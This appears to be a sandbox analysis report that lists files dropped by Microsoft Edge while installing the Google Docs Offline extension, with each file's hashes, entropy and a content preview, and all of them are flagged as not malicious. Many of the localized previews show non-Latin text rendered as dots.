Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

